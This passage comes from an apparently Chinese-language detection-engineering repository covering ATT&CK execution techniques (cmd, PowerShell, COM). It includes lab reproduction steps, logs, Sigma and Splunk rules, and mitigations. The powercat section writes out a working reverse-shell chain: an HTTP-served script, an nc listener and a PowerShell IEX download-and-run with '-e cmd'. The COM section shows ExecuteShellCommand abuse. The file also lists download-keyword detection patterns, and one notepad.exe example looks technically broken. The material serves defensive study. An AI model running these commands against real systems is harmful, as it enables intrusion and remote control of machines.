在Windows 10及以上版本中,事件ID 4688记录父进程信息。 - **事件ID 4689**:记录进程终止,可能用于关联进程生命周期。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`cmd.exe`的完整命令行、父进程和子进程信息。 - **事件ID 3**:记录网络连接,可能涉及`cmd.exe`执行的命令引发的网络活动。 **配置日志记录** - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强父进程和子进程关联监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 7/10,启用Sysmon和Windows安全日志。 - **权限**:测试账户需具备本地权限。 - **工具**:无特殊工具,系统自带`cmd.exe`。 ### 攻击步骤 1. **模拟正常CMD执行** 在靶机上通过命令提示符或PowerShell运行`cmd.exe`: ```cmd cmd.exe ``` 2. **模拟异常父进程** 使用PowerShell模拟非典型父进程(如`notepad.exe`)启动`cmd.exe`: ```powershell Start-Process -FilePath "notepad.exe" -ArgumentList "/c cmd.exe /c dir > C:\temp\output.txt" ``` ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\cmd.exe FileVersion: 6.1.7600.16385 Description: Windows Command Processor CommandLine: cmd.exe /c dir > C:\temp\output.txt ParentImage: C:\Windows\System32\notepad.exe User: \12306Br0 IntegrityLevel: Medium ``` - **Windows安全日志(事件ID 4688,Windows 10)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\cmd.exe Process Command Line: cmd.exe /c dir > C:\temp\output.txt Creator Process Name: C:\Windows\System32\notepad.exe Token Elevation Type: TokenElevationTypeLimited (3) ``` - **Windows安全日志(事件ID 4688,Windows 7)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\cmd.exe Process Command Line: cmd.exe /c dir > C:\temp\output.txt Creator Process Name: N/A (Windows 7不记录父进程) ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测`cmd.exe`的异常父进程或可疑命令行参数。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`cmd.exe`的父进程和命令行参数。 - 检测异常父进程(如`winword.exe`、`acrord32.exe`、`outlook.exe`)或可疑命令行(如运行脚本或网络工具)。 2. **Sigma规则**: ```yaml title: 检测异常父进程生成CMD id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3c4d5e6f status: stable description: 检测cmd.exe由异常父进程生成,可能表明恶意行为 references: - https://attack.mitre.org/techniques/T1059/ tags: - attack.execution - attack.t1059 logsource: category: process_creation product: windows detection: selection: EventID: - 1 # Sysmon - 4688 # Windows安全日志 Image|endswith: '\cmd.exe' ParentImage|endswith: - '\winword.exe' - '\excel.exe' - '\powerpnt.exe' - '\acrord32.exe' - '\outlook.exe' - '\java.exe' - '\firefox.exe' - '\chrome.exe' condition: selection falsepositives: - 合法的自动化脚本或管理工具 - 第三方软件调用cmd.exe level: medium ``` 3. **ELK规则**: ```plaintext process = search Process:Create cmd = filter process where (exe == "cmd.exe" and parent.exe in ("winword.exe", "excel.exe", "acrord32.exe", "outlook.exe")) output cmd ``` 4. **SIEM规则**: - 检测异常父进程生成的`cmd.exe`。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\cmd.exe" ParentImage IN ("*\winword.exe", "*\excel.exe", "*\acrord32.exe", "*\outlook.exe") | stats count by Image, CommandLine, ParentImage, ComputerName, User ``` 5. **威胁情报整合**: - 检查`cmd.exe`的命令行参数或后续行为(如网络连接、文件操作)是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 参考推荐 - MITRE ATT&CK: T1059 - Windows重点监控事件ID表 - Windows Command Prompt ================================================ FILE: Windows/04执行/T1059.001-Win-使用Powershell.exe执行Payload(白名单).md ================================================ # T1059.Win-使用Powershell.exe执行Payload(白名单) ## 描述 攻击者可能滥用PowerShell(`powershell.exe`)执行命令和脚本,以实现信息发现、恶意代码执行、持久性或横向移动(T1059.001)。PowerShell是Windows操作系统内置的强大命令行和脚本环境,支持本地和远程操作。攻击者可通过PowerShell下载并执行远程Payload(如脚本或可执行文件),在内存中运行以规避磁盘检测,或直接调用系统API执行高级操作。由于`powershell.exe`是合法的白名单进程,其行为可能被误认为是正常操作,增加检测难度。 常见的攻击场景包括通过PowerShell从远程服务器下载恶意脚本(如`powercat.ps1`),并建立反弹Shell或执行其他恶意操作。PowerShell的高灵活性使其成为攻击者青睐的工具,尤其在结合`Invoke-Expression`(IEX)、`Net.WebClient`等功能时,可轻松实现文件下载和动态执行。 ## 测试案例 1. **反弹Shell建立** 攻击者使用PowerShell下载并执行`powercat.ps1`,建立与攻击机的反弹Shell。 2. **内存中Payload执行** 攻击者通过PowerShell从远程服务器下载恶意脚本,在内存中执行以规避磁盘检测。 ## 检测日志 **Windows PowerShell日志** - **Microsoft-Windows-PowerShell/Operational**:记录PowerShell命令执行和脚本块信息。 - 事件ID 4103:记录模块日志和命令执行。 - 事件ID 4104:记录脚本块执行,包含下载和执行命令的详细信息。 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`powershell.exe`的命令行参数。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`powershell.exe`的完整命令行和父进程信息。 - **事件ID 3**:记录网络连接,可能涉及PowerShell发起的HTTP请求或反弹Shell。 - **事件ID 11**:记录文件创建,可能涉及下载的文件写入磁盘。 **配置日志记录** - 启用PowerShell日志: - 打开`gpedit.msc`:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell`。 - 启用“启用模块日志记录”、“启用脚本块日志记录”和“启用脚本执行日志记录”。 - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和网络活动监控。 ## 测试复现 ### 环境准备 - **攻击机**:Kali Linux 2019或其他攻击平台,安装`powercat`和`nc`。 - **靶机**:Windows 7,安装Sysmon并启用PowerShell日志。 - **网络**:确保攻击机和靶机可通信(HTTP端口80,Shell端口1234)。 - **工具**:`powercat`()。 ### 攻击步骤 1. **生成Payload** 在攻击机上下载`powercat`: ```bash git clone https://github.com/besimorhino/powercat.git ``` 2. **开启HTTP服务** 在`powercat`目录下启动简单HTTP服务器: ```bash python2 -m SimpleHTTPServer 80 ``` 3. **设置监听** 在攻击机上启动`nc`监听反弹Shell: ```bash nc -lvp 1234 ``` 4. **靶机执行Payload** 在靶机上运行以下PowerShell命令,下载并执行`powercat.ps1`: ```cmd powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.126.146/powercat.ps1');powercat -c 192.168.126.146 -p 1234 -e cmd" ``` 5. **验证反弹Shell** 检查攻击机的`nc`终端,确认收到反弹Shell: ```bash nc -lvp 1234 listening on [any] 1234 ... 192.168.126.149: inverse host lookup failed: Unknown host connect to [192.168.126.146] from (UNKNOWN) [192.168.126.149] 49339 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. ``` ## 测试留痕 ```log #sysmon日志 EventID: 1 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.126.146/powercat.ps1');powercat -c 192.168.126.146 -p 1234 -e cmd" # win7安全日志 EventID: 4688 进程信息: 新进程 ID: 0x330 新进程名: C:\Windows\System32\cmd.exe 令牌提升类型: TokenElevationTypeLimited (3) EventID: 4688 进程信息: 新进程 ID: 0xa44 新进程名: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe #Powershell V5(含V5以上)配置审核策略,可以达到记录命令行参数的效果。通过命令行参数进行监控分析。当然也可以采用配置windows server 2008(不含2008)以上审核进程创建策略,同样也可以对命令行参数进行记录,最后达到监控效果。 ``` ## 检测规则/思路 **检测规则** 通过分析PowerShell日志、Sysmon和Windows安全日志,检测PowerShell执行远程Payload的异常行为。以下是具体思路: 1. **日志分析**: - 收集PowerShell日志(事件ID 4104),提取包含下载函数(如`Net.WebClient`、`DownloadString`)或反弹Shell命令的脚本块。 - 收集Sysmon事件ID 1或Windows安全事件ID 4688,检测`powershell.exe`的命令行中包含下载或执行相关关键字。 - 监控Sysmon事件ID 3,检测PowerShell发起的HTTP请求或异常网络连接。 2. **Sigma规则(进程创建)**: ```yaml title: PowerShell通过URL下载并执行Payload id: 8e9f0a1b-9c4d-4e3f-c1b0-6a7b8e9f0a1c status: stable description: 检测PowerShell通过URL下载并执行Payload的进程,可能表明恶意行为 author: 12306Bro, Grok date: 2025/06/06 references: - https://attack.mitre.org/techniques/T1059/001/ tags: - attack.execution - attack.t1059.001 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: - 'new-object system.net.webclient).downloadstring(' - 'new-object system.net.webclient).downloadfile(' - 'new-object net.webclient).downloadstring(' - 'new-object net.webclient).downloadfile(' - 'IEX' - 'http' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的软件更新或脚本下载 - 管理员运行的维护脚本 level: medium ``` 3. **Sigma规则(PowerShell日志)**: ```yaml title: PowerShell脚本块下载并执行Payload id: 9f0a1b2c-0d5e-4f4a-d2c1-7b8c9f0a1b2d status: stable description: 检测PowerShell脚本块中包含下载并执行Payload的命令 author: Grok date: 2025/06/06 logsource: product: windows service: powershell detection: selection: EventID: 4104 ScriptBlockText|contains: - 'Net.WebClient' - 'DownloadString' - 'DownloadFile' - 'IEX' - 'http' condition: selection falsepositives: - 合法的脚本下载(如软件更新) - 开发或测试环境的正常行为 level: medium ``` 4. **SIEM规则**: - 检测PowerShell下载和执行Payload的进程创建和网络活动。 - 示例Splunk查询(Sysmon): ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\powershell.exe" (CommandLine="*Net.WebClient*" OR CommandLine="*DownloadString*" OR CommandLine="*DownloadFile*" OR CommandLine="*IEX*" OR CommandLine="*http*") | stats count by Image, CommandLine, ComputerName, User ``` - 示例Splunk查询(PowerShell日志): ```spl source="Microsoft-Windows-PowerShell/Operational" EventCode=4104 (ScriptBlockText="*Net.WebClient*" OR ScriptBlockText="*DownloadString*" OR ScriptBlockText="*DownloadFile*" OR ScriptBlockText="*IEX*" OR ScriptBlockText="*http*") | stats count by ScriptBlockText, ComputerName, User ``` 5. **网络流量分析**: - 监控PowerShell发起的HTTP/HTTPS请求或异常出站连接(如反弹Shell)。 - 示例Wireshark过滤器: ```plaintext tcp.port == 1234 or (http.request and ip.src == and http.request.uri contains ".ps1") ``` 6. **威胁情报整合**: - 检查PowerShell访问的URL、IP或下载文件的哈希值是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御PowerShell执行Payload的恶意行为需从系统加固、权限控制和监控入手: 1. **限制PowerShell执行** - 配置PowerShell执行策略,限制未签名脚本运行: ```powershell Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy RemoteSigned ``` 2. **禁用不必要的PowerShell功能** - 禁用PowerShell 2.0(若存在): ```cmd dism /online /disable-feature /featurename:MicrosoftWindowsPowerShellV2 ``` 3. **启用AMSI和日志记录** - 确保反恶意软件扫描接口(AMSI)启用,检测恶意脚本执行。 - 启用PowerShell模块日志记录、脚本块日志记录和脚本执行日志记录。 4. **网络访问控制** - 配置防火墙,限制PowerShell的出站HTTP/HTTPS连接,仅允许白名单域名。 - 使用代理服务器监控和过滤PowerShell的网络流量。 5. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 6. **日志和监控** - 启用PowerShell日志(事件ID 4103/4104)、Sysmon日志(事件ID 1/3/11)和命令行参数记录(事件ID 4688)。 - 配置SIEM检测PowerShell下载和执行Payload的命令及网络活动。 ## 参考推荐 - MITRE ATT&CK: T1059.001 - PowerShell事件日志配置 - Powercat工具 ================================================ FILE: Windows/04执行/T1059.001-Win-检测PowerShell2.0版本执行.md ================================================ # T1059.001-Win-检测PowerShell 2.0版本执行情况 ## 描述 攻击者可能滥用PowerShell执行命令和脚本,实现信息发现、恶意代码执行或横向移动(T1059.001)。PowerShell是Windows操作系统内置的强大命令行和脚本环境,支持本地和远程操作。攻击者可通过PowerShell运行恶意脚本、下载可执行文件(包括内存执行以规避磁盘检测)或调用系统API执行高级操作。远程执行PowerShell命令通常需要管理员权限。 PowerShell 2.0是较旧且不安全的版本,即使安装了更高版本(如PowerShell 5.0),2.0版本可能仍保留在系统中。攻击者可能故意降级使用PowerShell 2.0(通过`powershell.exe -Version 2`),以规避现代PowerShell的安全功能,如脚本块日志记录和反恶意软件扫描接口(AMSI)。检测PowerShell 2.0的执行情况有助于发现潜在的恶意行为,特别是试图隐藏的攻击活动。 ## 测试案例 1. **降级执行恶意脚本** 攻击者使用`powershell.exe -Version 2`运行恶意脚本,规避AMSI和日志记录。 2. **内存中Payload执行** 攻击者通过PowerShell 2.0从远程服务器下载并在内存中执行Payload,绕过磁盘检测。 ## 检测日志 **Windows PowerShell日志** - **Microsoft-Windows-PowerShell/Operational**:记录PowerShell命令执行和脚本块信息。 - 事件ID 4103:记录模块日志和命令执行。 - 事件ID 4104:记录脚本块执行。 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`powershell.exe`的命令行参数。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`powershell.exe`的完整命令行和父进程信息。 **配置日志记录** - 启用PowerShell日志: - 打开`gpedit.msc`:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell`。 - 启用“启用模块日志记录”、“启用脚本块日志记录”和“启用脚本执行日志记录”。 - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 7/10/2016,安装PowerShell 2.0(默认包含在Windows 7及部分Windows 10系统中)。 - **日志**:配置Sysmon、Windows安全日志和PowerShell日志。 - **权限**:测试账户需具备本地权限。 ### 攻击步骤 1. **执行PowerShell 2.0命令** 在靶机上运行以下命令,强制使用PowerShell 2.0: ```cmd powershell -Version 2 -Command "whoami" ``` 2. **验证结果** - 检查命令是否成功执行(例如,输出当前用户名)。 - 如果系统缺少.NET Framework 2.0,可能返回错误: ```plaintext 未安装 .NET Framework 版本 v2.0.50727,运行 Windows PowerShell 版本 2 需要此版本的 .NET Framework。 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1158 New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process Command Line: powershell -v 2 -Command "whoami" Creator Process Name: C:\Windows\System32\cmd.exe Token Elevation Type: %%1938 (Limited) Mandatory Label: Mandatory Label\Medium Mandatory Level ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.19041.1 Description: Windows PowerShell CommandLine: powershell -v 2 -Command "whoami" User: \12306br0 IntegrityLevel: Medium ``` - **PowerShell日志(事件ID 4104)**: ```plaintext EventID: 4104 ScriptBlockText: whoami Path: N/A UserID: \12306br0 ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon、Windows安全日志和PowerShell日志,检测PowerShell 2.0版本的执行情况。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`powershell.exe`或`powershell_ise.exe`的命令行参数,重点关注`-v 2`、`-version 2`等降级标志。 - 监控PowerShell日志(事件ID 4103/4104),检测PowerShell 2.0执行的脚本块。 2. **Sigma规则**: ```yaml title: 检测PowerShell 2.0版本执行情况 id: 5b7c9e0f-6a3b-4c2d-b9f7-3e4f5c6e7f8a status: stable description: 检测PowerShell降级至2.0版本执行,可能表明规避AMSI或日志记录的恶意行为 author: 12306Bro references: - https://attack.mitre.org/techniques/T1059/001/ - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/powershell-version-2.0-execution.md tags: - attack.execution - attack.t1059.001 logsource: category: process_creation product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\powershell_ise.exe' CommandLine|contains: - '-v 2' - '-v 2.0' - '-version 2' - '-version 2.0' condition: selection falsepositives: - 合法的旧版脚本测试 - 管理员运行的兼容性测试 level: medium ``` 3. **PowerShell日志规则**: - 检测PowerShell 2.0执行的脚本块。 - Splunk查询: ```spl source="Microsoft-Windows-PowerShell/Operational" (EventCode=4103 OR EventCode=4104) | where ScriptBlockText LIKE "%-v 2%" OR ScriptBlockText LIKE "%-version 2%" ``` 4. **SIEM规则**: - 检测PowerShell 2.0的进程创建。 - Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image IN ("*\\powershell.exe", "*\\powershell_ise.exe") CommandLine IN ("*-v 2*", "*-version 2*") | stats count by Image, CommandLine, ComputerName, User ``` 5. **威胁情报整合**: - 检查PowerShell命令的后续行为(如网络连接、文件下载)是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御PowerShell 2.0版本的恶意使用需从系统加固、权限控制和监控入手: 1. **移除PowerShell 2.0** - 卸载PowerShell 2.0(Windows功能中禁用“Windows PowerShell 2.0引擎”)。 - 命令: ```cmd dism /online /disable-feature /featurename:MicrosoftWindowsPowerShellV2 ``` 2. **限制PowerShell执行** - 配置PowerShell执行策略,限制未签名脚本运行: ```powershell Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy RemoteSigned ``` - 使用AppLocker限制`powershell.exe`和`powershell_ise.exe`的执行。 3. **启用AMSI和日志记录** - 确保AMSI启用,检测恶意脚本执行。 - 启用PowerShell模块日志记录、脚本块日志记录和脚本执行日志记录。 4. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 5. **日志和监控** - 启用PowerShell日志(事件ID 4103/4104)和命令行参数记录(事件ID 4688、Sysmon ID 1)。 - 配置SIEM检测PowerShell 2.0的降级执行行为。 ### 检测 检测工作应集中在PowerShell 2.0的执行行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测`powershell.exe`或`powershell_ise.exe`使用`-v 2`或`-version 2`参数。 - **PowerShell日志监控**:检查PowerShell日志(事件ID 4103/4104),识别降级执行的脚本块。 - **行为分析**:通过EDR检测PowerShell 2.0执行后的异常活动(如网络连接、文件下载)。 - **威胁情报整合**:结合威胁情报,检查PowerShell命令的后续行为是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1059.001 - 检测和缓解PowerShell攻击的方法 - PowerShell版本2.0执行 - PowerShell与威胁狩猎 ================================================ FILE: Windows/04执行/T1059.001-Win-检测PowerShell下载文件.md ================================================ # T1059-001-Win-检测Powershell下载文件 ## 描述 攻击者可能滥用PowerShell执行命令和脚本,以实现信息发现、恶意代码执行或横向移动(T1059.001)。PowerShell是Windows操作系统内置的强大命令行和脚本环境,支持本地和远程操作。攻击者常利用PowerShell从互联网下载恶意文件(如脚本、可执行文件),并在磁盘或内存中执行,规避传统安全检测。常见的下载方法包括使用`Net.WebClient`、`Invoke-WebRequest`、`Start-BitsTransfer`等 cmdlet,或通过`Invoke-Expression`(IEX)直接执行远程脚本。 PowerShell下载文件的典型特征是命令行中包含HTTP/HTTPS URL或特定的下载函数调用。攻击者可能结合内存执行技术(如`Invoke-Shellcode`)或压缩/编码技术,进一步隐藏恶意行为。由于PowerShell是合法工具,其行为可能被误认为是正常操作,增加检测难度。 ## 测试案例 1. **下载并执行远程脚本** 攻击者使用`IEX`和`Net.WebClient.DownloadString`从远程服务器下载并执行恶意脚本。 2. **下载可执行文件** 攻击er通过`Invoke-WebRequest`或`Net.WebClient.DownloadFile`下载恶意可执行文件到本地磁盘。 ## 检测日志 **Windows PowerShell日志** - **Microsoft-Windows-PowerShell/Operational**:记录PowerShell命令执行和脚本块信息。 - 事件ID 4103:记录模块日志和命令执行。 - 事件ID 4104:记录脚本块执行,包含下载命令的详细信息。 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`powershell.exe`的命令行参数。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`powershell.exe`的完整命令行和父进程信息。 - **事件ID 3**:记录网络连接,可能涉及PowerShell发起的HTTP请求。 - **事件ID 11**:记录文件创建,可能涉及下载的文件写入磁盘。 **配置日志记录** - 启用PowerShell日志: - 打开`gpedit.msc`:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell`。 - 启用“启用模块日志记录”、“启用脚本块日志记录”和“启用脚本执行日志记录”。 - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和网络活动监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 7/10/2016,安装PowerShell(默认包含)。 - **日志**:配置Sysmon、Windows安全日志和PowerShell日志。 - **权限**:测试账户需具备本地权限。 - **网络**:确保靶机可访问互联网或测试服务器。 ### 攻击步骤 ```powershell PS C:\Users\12306br0> IEX (New-Object System.Net.Webclient).DownloadString('http://blog.csdn.net/huangxvhui88/article/details/89361287') ``` ## 测试留痕 ```yml Powershell事件ID:4104 正在创建 Scriptblock 文本(已完成 1,共 1): IEX (New-Object System.Net.Webclient).DownloadString('http://blog.csdn.net/huangxvhui88/article/details/89361287') ScriptBlock ID: e9f29288-34e7-497f-8fff-9a6cf6c355da ``` ## 检测规则/思路 **检测规则** 通过分析PowerShell日志、Sysmon和Windows安全日志,检测PowerShell下载文件的异常行为。以下是具体思路: 1. **日志分析**: - 收集PowerShell日志(事件ID 4104),提取包含下载函数(如`Net.WebClient`、`Invoke-WebRequest`)或HTTP URL的脚本块。 - 收集Sysmon事件ID 1或Windows安全事件ID 4688,检测`powershell.exe`或`powershell_ise.exe`的命令行中包含下载相关关键字。 - 监控Sysmon事件ID 3,检测PowerShell发起的HTTP/HTTPS连接。 2. **Sigma规则(进程创建)**: ```yaml title: 检测PowerShell下载文件行为 id: 6c7d8e0f-7a3b-4c2d-b9f8-4e5f6c7e8f9a status: stable description: 检测PowerShell执行下载文件的行为,可能表明恶意脚本执行 references: - https://attack.mitre.org/techniques/T1059/001/ - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/PowerShell%20downloads.txt tags: - attack.execution - attack.t1059.001 logsource: category: process_creation product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\powershell_ise.exe' CommandLine|contains: - 'Net.WebClient' - 'DownloadFile' - 'DownloadString' - 'Invoke-WebRequest' - 'Start-BitsTransfer' - 'IEX' - 'http' condition: selection falsepositives: - 合法的软件更新或脚本下载 - 管理员运行的维护脚本 level: medium ``` 3. **Sigma规则(PowerShell日志)**: ```yaml title: 检测PowerShell脚本块下载行为 id: 7d8e9f0a-8b4c-4d3e-c0a9-5f6a7d8f9a0b status: stable description: 检测PowerShell脚本块中包含下载行为的命令 logsource: product: windows service: powershell detection: selection: EventID: 4104 ScriptBlockText|contains: - 'Net.WebClient' - 'DownloadFile' - 'DownloadString' - 'Invoke-WebRequest' - 'Start-BitsTransfer' - 'IEX' - 'http' condition: selection falsepositives: - 合法的脚本下载(如软件更新) - 开发或测试环境的正常行为 level: medium ``` 4. **SIEM规则**: - 检测PowerShell下载行为的进程创建和网络活动。 - 示例Splunk查询(Sysmon): ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image IN ("*\\powershell.exe", "*\\powershell_ise.exe") (CommandLine="*Net.WebClient*" OR CommandLine="*DownloadFile*" OR CommandLine="*DownloadString*" OR CommandLine="*Invoke-WebRequest*" OR CommandLine="*Start-BitsTransfer*" OR CommandLine="*IEX*" OR CommandLine="*http*") | stats count by Image, CommandLine, ComputerName, User ``` - 示例Splunk查询(PowerShell日志): ```spl source="Microsoft-Windows-PowerShell/Operational" EventCode=4104 (ScriptBlockText="*Net.WebClient*" OR ScriptBlockText="*DownloadFile*" OR ScriptBlockText="*DownloadString*" OR ScriptBlockText="*Invoke-WebRequest*" OR ScriptBlockText="*Start-BitsTransfer*" OR ScriptBlockText="*IEX*" OR ScriptBlockText="*http*") | stats count by ScriptBlockText, ComputerName, User ``` 5. **网络流量分析**: - 监控PowerShell发起的HTTP/HTTPS请求,检测可疑URL。 - 示例Wireshark过滤器: ```plaintext http.request and ip.src == and http.request.uri contains ".ps1" ``` 6. **威胁情报整合**: - 检查PowerShell访问的URL或下载文件的哈希值是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御PowerShell下载文件的恶意行为需从系统加固、权限控制和监控入手: 1. **限制PowerShell执行** - 配置PowerShell执行策略,限制未签名脚本运行: ```powershell Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy RemoteSigned ``` - 使用AppLocker限制`powershell.exe`和`powershell_ise.exe`的执行。 2. **禁用不必要的PowerShell功能** - 禁用PowerShell 2.0(Windows功能中禁用“Windows PowerShell 2.0引擎”): ```cmd dism /online /disable-feature /featurename:MicrosoftWindowsPowerShellV2 ``` 3. **启用AMSI和日志记录** - 确保反恶意软件扫描接口(AMSI)启用,检测恶意脚本执行。 - 启用PowerShell模块日志记录、脚本块日志记录和脚本执行日志记录。 4. **网络访问控制** - 配置防火墙,限制PowerShell的出站HTTP/HTTPS连接,仅允许白名单域名。 - 使用代理服务器监控和过滤PowerShell的网络流量。 5. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 6. **日志和监控** - 启用PowerShell日志(事件ID 4103/4104)、Sysmon日志(事件ID 1/3/11)和命令行参数记录(事件ID 4688)。 - 配置SIEM检测PowerShell下载相关的命令和网络活动。 ### 检测 检测工作应集中在PowerShell下载文件的行为上,包括但不限于: - **脚本块监控**:分析PowerShell日志(事件ID 4104),检测包含下载函数或URL的脚本块。 - **进程行为监控**:分析Sysmon或Windows安全日志,检测`powershell.exe`的下载相关命令行参数。 - **网络流量监控**:检查PowerShell发起的HTTP/HTTPS请求,识别可疑URL。 - **行为分析**:通过EDR检测PowerShell下载后的异常活动(如文件执行、网络连接)。 - **威胁情报整合**:结合威胁情报,检查下载的URL或文件是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1059.001 - PowerShell 下载文件 - 检测PowerShell下载文件行为 - PowerShell与威胁狩猎 ================================================ FILE: Windows/04执行/T1559.001-Win-利用进程间通信执行-组件对象模型-COM.md ================================================ # T1559.001-Win-利用进程间通信执行-组件对象模型-COM ## 描述 攻击者可能滥用Windows组件对象模型(COM)执行本地或远程代码(T1559.001)。COM是Windows原生的进程间通信(IPC)机制,允许客户端对象调用服务器对象(通常为DLL或EXE)的接口方法,支持多种编程语言(如C、C++、PowerShell)。分布式COM(DCOM)扩展了COM功能,通过远程过程调用(RPC)支持跨网络的组件交互。攻击者可利用暴露的COM接口执行任意代码、创建计划任务、下载文件或实现特权提升和持久性。 DCOM的滥用特别适用于横向移动(T1021.003),攻击者可通过Office应用程序(如Excel、Outlook)或具有不安全方法的COM对象(如MMC20.Application、ShellBrowserWindow)在远程主机上执行命令。DCOM执行的进程通常为托管COM服务器的合法进程(如explorer.exe),增强了隐蔽性,增加了检测难度。 ## 测试案例 1. **本地COM执行命令** 攻击者使用`MMC20.Application`的`ExecuteShellCommand`方法在本地启动恶意进程(如`calc.exe`)。 2. **远程DCOM横向移动** 攻击者通过DCOM调用远程主机的`ShellBrowserWindow`,在目标主机上运行恶意Payload。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含由COM/DCOM触发的子进程信息(需启用命令行记录)。 - **事件ID 4672**:记录权限分配,可能涉及DCOM调用时的特权变化。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含COM/DCOM触发的进程、命令行和父进程信息。 - **事件ID 3**:记录网络连接,涉及DCOM的RPC通信(端口135或动态端口)。 - **事件ID 7**:记录DLL加载,可能涉及COM服务器DLL的加载。 **Windows RPC日志** - **Microsoft-Windows-RPC/Operational**:记录RPC和DCOM活动,可能包含远程调用信息。 **配置日志记录** - 启用命令行参数记录: - 路径:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程、DLL加载和网络活动监控。 - 启用RPC日志:`计算机配置 > 管理模板 > 系统 > 远程过程调用 > 启用RPC终结点映射器日志`。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2012或Windows 10(PowerShell 3.0+,支持`Get-CimInstance`)。 - **权限**:本地管理员权限(DCOM远程调用需域用户或管理员权限)。 - **网络**:确保靶机和测试机可通过RPC通信(端口135、动态端口1024-65535)。 - **日志**:配置Sysmon、Windows安全日志和RPC日志。 ### 攻击步骤 1. **获取本地DCOM程序列表** - 在靶机上以管理员权限运行PowerShell,列出DCOM应用程序: ```powershell Get-CimInstance Win32_DCOMApplication ``` - 对于Windows 7或Server 2008(PowerShell 2.0),使用: ```powershell Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication ``` 2. **本地COM执行命令** 使用`MMC20.Application`的`ExecuteShellCommand`方法启动计算器: ```powershell $com = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application", "127.0.0.1")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c calc.exe", "Minimized") 